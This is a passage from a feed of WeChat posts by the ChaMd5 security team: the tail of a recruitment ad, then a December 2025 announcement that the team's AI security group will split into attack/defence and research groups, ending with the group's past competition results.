normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 20px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px 15px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 663.453px;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 26);border-radius: 0px;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">招新小广告</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ChaMd5 Venom 招收大佬入圈</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">新成立组IOT+工控+样本分析 </span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">长期招新</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎联系</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">admin@chamd5.org</span></span></p></div></div></div></div></div></div></div><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;clear: both;min-height: 1em;background-color: rgb(255, 255, 255);text-align: center;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.5133689839572193" data-s="300,640" data-type="other" data-w="748" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.54px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;height: auto !important;" data-copyright="0" data-imgfileid="100028117" src="https://wechat2rss.xlab.app/img-proxy/?k=89af1f43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPUubqXlrzBR8nk7RR7HefBINILy4PClwoEMzGCJovye9KIsEjCKwxlqcSFsGJSv3OtYIjmKpXzVyfzlqSicWwxQ%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp%23imgIndex%3D3"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="2247513872">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7ec83ab7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247513872%26idx%3D1%26sn%3D6d42a738c069be409434e15bd56a019f">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 15 Dec 2025 08:01:00 +0800</pubDate>
    </item>
    <item>
      <title>期待已久的ChaMd5 AI Group新展望计划</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247513768&amp;idx=1&amp;sn=a4b4473ec7b102da005641de7526bac8</link>
      <description>2026年即将拉开帷幕。回望2023至2025这三年，AI安全组在快速演进的AI浪潮中稳步前行，亲历了AI安全从概念走向实战的全过程。</description>
      <content:encoded><![CDATA[<p><span>bayuncao</span> <span>2025-12-09 08:00</span> <span style="display: inline-block;">辽宁</span></p>




  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=404a09de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FPUubqXlrzBR357D2Wuw4Y7JAiavUxYdfZyicpmhtiaWus640ibKqC9iaWCLEKrFrsEvLcH3UWVUJ7YnPkL1egw4wyFQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>2026年即将拉开帷幕。回望2023至2025这三年，AI安全组在快速演进的AI浪潮中稳步前行，亲历了AI安全从概念走向实战的全过程。</p>
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">        2026年即将拉开帷幕。回望2023至2025这三年，AI安全组在快速演进的AI浪潮中稳步前行，亲历了AI安全从概念走向实战的全过程。我们见证了生成式AI的爆发，也深度参与了大模型安全的攻防博弈。团队的每一位师傅，从不同视角出发，以多元形式深度参与安全议题、技术比赛、行业交流，不断沉淀实战经验，锤炼技术能力，为组内技术体系的建设提供了坚实支撑。</span><span leaf=""><br/></span><span leaf="">        新的一年，新的趋势，新的挑战。2026年，AI安全组将迎来全面升级：我们将正式开启纳新计划，并同步进行组织架构调整，拆分为 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">AI安全攻防组</span></strong><span leaf=""> 与 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">AI安全研究组</span></strong><span leaf=""> 两大方向，分别聚焦实战与研究，双轮驱动，协同发展。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">🔍 AI安全攻防组</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">        聚焦一线攻防实战，深耕AI系统漏洞挖掘、对抗样本构造、模型窃取与防护等核心方向。我们将持续参与国内外顶级AI安全赛事，力争在2026年突破更多国际舞台，代表中国力量发声。无论你是CTF老将，还是AI安全新锐，只要你对实战充满热情，这里就是你发光发热的战场。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">🔬 AI安全研究组</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">        聚焦大模型安全与风控体系研究，深入解析国内外政策动向，构建面向未来的安全治理框架。我们关注模型对齐、数据隐私、Prompt注入、幻觉检测等前沿议题，致力于推动AI安全从“可防”走向“可控”。同时，研究组也将持续运营团队自研工具平台，打造行业领先的安全基础设施。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">🛠️ 系统集成与工具平台建设</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">        我个人将更多聚焦于AI安全工具平台的系统级集成与开发，致力于打造行业内最好用、最实用、最具扩展性的AI安全工具平台。我们计划在2026年开放部分核心能力，邀请组外师傅参与体验与共建，推动AI安全技术的开放共享与协同进化。</span></p><hr style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: 1px;"/><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2026年，将是AI安全团队的“压力之年”，更是“突破之年”。 我们将以更高的标准要求自己：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">对内，强化协作机制，推动攻防与研究的双向赋能；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">对外，积极参与行业共建，输出高质量技术成果，打造具有影响力的AI安全品牌。 我们诚挚邀请所有对AI安全充满热情、对技术探索永不止步的师傅加入我们。 无论你是深耕多年的安全老兵，还是初出茅庐的技术新星，只要你愿意与我们一起直面挑战、共同成长，AI安全组都欢迎你！ </span></p><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">📮简历投递请发送至邮箱：admin@chamd5.org</span><span leaf=""><br/></span><span leaf="">（邮件标题请注明“2026AI 安全组纳新+姓名+方向（攻防/研究/工具开发）”）</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">AI比赛</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2025年LLM指令遵循攻防赛第一名</span><span leaf=""><br/></span><span leaf="">2024年DataCon AI第四名</span><span leaf=""><br/></span><span leaf="">2024年ByteAI安全挑战赛决赛第十名</span><span leaf=""><br/></span><span leaf="">2022年2022 CCF BDCI 竞技赛单赛题决赛 基于TPU平台实现人群密度估计 二等奖</span><span leaf=""><br/></span><span leaf="">2022年字节安全AI挑战赛 第四名</span><span leaf=""><br/></span><span leaf="">2021年iFLYTEK.AI 第十名</span><span leaf=""><br/></span><span leaf="">2020年BCTF AI PWN第六名</span><span leaf=""><br/></span><span leaf="">2019年强网杯AI 第十名</span><span leaf=""><br/></span><span leaf="">2019年BCTF RHG 人工智能第八名</span></p><div data-role="outer" label="Powered by 135editor.com" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;caret-color: rgb(34, 34, 34);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);" data-pm-slice="0 0 []"><div data-role="paragraph" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-mpa-template="t" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: center;"><div data-id="89429" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 0px;border-style: none;border-color: initial;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 50px;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif&#34;);background-size: 100%;background-position: 0px center;background-repeat: no-repeat;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-weight: bold;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;vertical-align: inherit;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">结束</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 